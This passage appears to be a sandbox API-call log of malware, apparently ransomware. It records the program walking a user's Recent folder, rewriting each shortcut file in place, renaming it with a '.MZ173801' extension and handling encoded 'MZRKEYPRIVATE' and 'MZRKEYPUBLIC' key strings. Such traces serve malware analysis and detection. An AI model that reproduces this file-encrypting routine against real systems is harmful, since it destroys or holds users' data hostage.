0x0 [0146.980] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.980] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4ff [0146.980] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.980] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x4ff, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x4ff, lpOverlapped=0x0) returned 1 [0146.981] CloseHandle (hObject=0x280) returned 1 [0146.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4NRYueZu34oKrb1iEn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4nryuezu34okrb1ien.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.982] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x4ff, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x4ff, lpOverlapped=0x0) returned 1 [0146.983] CloseHandle (hObject=0x280) returned 1 [0146.984] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4NRYueZu34oKrb1iEn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4nryuezu34okrb1ien.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4NRYueZu34oKrb1iEn.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4nryuezu34okrb1ien.lnk.mz173801")) returned 1 [0146.985] GetCurrentThreadId () returned 0xab4 [0146.985] GetCurrentThreadId () returned 0xab4 [0146.985] GetCurrentThreadId () returned 0xab4 [0146.985] GetCurrentThreadId () returned 0xab4 [0146.985] GetCurrentThreadId () returned 0xab4 [0146.985] GetCurrentThreadId () returned 0xab4 [0146.985] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c61bd5, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x6e6f1909, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x6e6f1909, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4yBx.lnk", cAlternateFileName="")) returned 1 [0146.985] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.985] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4yBx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4ybx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c61bd5, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x6e6f1909, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x6e6f1909, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x34e)) returned 1 [0146.985] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4yBx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4ybx.lnk")) returned 0x20 [0146.985] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4yBx.lnk", dwFileAttributes=0x80) returned 1 [0146.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.988] GetCurrentThreadId () returned 0xab4 [0146.988] GetCurrentThreadId () returned 0xab4 [0146.988] GetCurrentThreadId () returned 0xab4 [0146.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.989] GetCurrentThreadId () returned 0xab4 [0146.989] GetCurrentThreadId () returned 0xab4 [0146.989] GetCurrentThreadId () returned 0xab4 [0146.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4yBx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4ybx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.989] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.989] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.989] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x34e [0146.989] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.989] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x34e, lpOverlapped=0x0) returned 1 [0146.990] CloseHandle (hObject=0x280) returned 1 [0146.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4yBx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4ybx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.991] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x34e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x34e, lpOverlapped=0x0) returned 1 [0146.992] CloseHandle (hObject=0x280) returned 1 [0146.992] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4yBx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4ybx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4yBx.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4ybx.lnk.mz173801")) returned 1 [0146.993] GetCurrentThreadId () returned 0xab4 [0146.993] GetCurrentThreadId () returned 0xab4 [0146.993] GetCurrentThreadId () returned 0xab4 [0146.993] GetCurrentThreadId () returned 0xab4 [0146.993] GetCurrentThreadId () returned 0xab4 [0146.993] GetCurrentThreadId () returned 0xab4 [0146.993] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d811c, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x551d811c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x551d811c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4Zbv0xLp.lnk", cAlternateFileName="")) returned 1 [0146.993] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.993] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4Zbv0xLp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4zbv0xlp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551d811c, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x551d811c, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x551d811c, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2fc)) returned 1 [0146.993] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4Zbv0xLp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4zbv0xlp.lnk")) returned 0x20 [0146.994] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4Zbv0xLp.lnk", dwFileAttributes=0x80) returned 1 [0146.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 